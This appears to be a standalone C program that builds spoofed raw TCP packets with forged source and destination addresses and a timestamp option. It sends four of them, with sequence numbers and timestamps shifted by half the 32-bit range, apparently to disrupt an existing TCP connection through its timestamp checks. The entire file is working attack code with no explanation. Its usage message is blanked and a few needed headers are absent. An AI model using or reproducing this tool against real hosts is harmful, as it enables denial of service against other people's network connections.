#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <net/if.h>
#ifdef __FreeBSD__
#include <net/if_var.h>
#endif
#include <netinet/in.h>
#include <netinet/in_var.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
static u_int16_t
checksum(u_int16_t *data, u_int16_t length)
{
u_int32_t value = 0;
u_int16_t i;
for (i = 0; i < (length >> 1); ++i)
value += data[i];
if ((length & 1) == 1)
value += (data[i] << 8);
value = (value & 65535) + (value >> 16);
return (~value);
}
static int
send_tcp(int sock, u_int32_t saddr, u_int32_t daddr, u_int16_t sport,
u_int16_t dport, u_int32_t seq, u_int32_t ts)
{
u_char packet[1600];
struct tcphdr *tcp;
struct ip *ip;
unsigned char *opt;
int optlen, len, r;
struct sockaddr_in sin;
memset(packet, 0, sizeof(packet));
opt = packet + sizeof(struct ip) + sizeof(struct tcphdr);
optlen = 0;
opt[optlen++] = TCPOPT_NOP;
opt[optlen++] = TCPOPT_NOP;
opt[optlen++] = TCPOPT_TIMESTAMP;
opt[optlen++] = 10;
ts = htonl(ts);
memcpy(opt + optlen, &ts, sizeof(ts));
optlen += sizeof(ts);
ts = htonl(0);
memcpy(opt + optlen, &ts, sizeof(ts));
optlen += sizeof(ts);
len = sizeof(struct ip) + sizeof(struct tcphdr) + optlen;
ip = (struct ip *)packet;
ip->ip_src.s_addr = saddr;
ip->ip_dst.s_addr = daddr;
ip->ip_p = IPPROTO_TCP;
ip->ip_len = htons(sizeof(struct tcphdr) + optlen);
tcp = (struct tcphdr *)(packet + sizeof(struct ip));
tcp->th_sport = htons(sport);
tcp->th_dport = htons(dport);
tcp->th_seq = htonl(seq);
tcp->th_ack = 0;
tcp->th_off = (sizeof(struct tcphdr) + optlen) / 4;
tcp->th_flags = 0;
tcp->th_win = htons(16384);
tcp->th_sum = 0;
tcp->th_urp = 0;
tcp->th_sum = checksum((u_int16_t *)ip, len);
ip->ip_v = 4;
ip->ip_hl = 5;
ip->ip_tos = 0;
ip->ip_len = htons(len);
ip->ip_id = htons(arc4random() % 65536);
ip->ip_off = 0;
ip->ip_ttl = 64;
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = saddr;
r = sendto(sock, packet, len, 0, (struct sockaddr *)&sin, sizeof(sin));
if (r != len) {
perror("sendto");
return (1);
}
return (0);
}
static u_int32_t
op(u_int32_t u)
{
return (u_int32_t)(((u_int64_t)u + 2147483648UL) % 4294967296ULL);
}
int main(int argc, char *argv[])
{
u_int32_t saddr, daddr, seq, ts;
u_int16_t sport, dport;
int sock, i;
if (argc != 5) {
fprintf(stderr, "usage: %s "
" \n", argv[0]);
return (1);
}
saddr = inet_addr(argv[1]);
daddr = inet_addr(argv[3]);
sport = atoi(argv[2]);
dport = atoi(argv[4]);
sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (sock < 0) {
perror("socket");
return (1);
}
i = 1;
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i)) == -1) {
perror("setsockopt");
close(sock);
return (1);
}
ts = arc4random();
seq = arc4random();
if (send_tcp(sock, saddr, daddr, sport, dport, seq, ts) ||
send_tcp(sock, saddr, daddr, sport, dport, seq, op(ts)) ||
send_tcp(sock, saddr, daddr, sport, dport, op(seq), ts) ||
send_tcp(sock, saddr, daddr, sport, dport, op(seq), op(ts))) {
fprintf(stderr, "failed\n");
close(sock);
return (1);
}
close(sock);
printf("done\n");
return (0);
}
|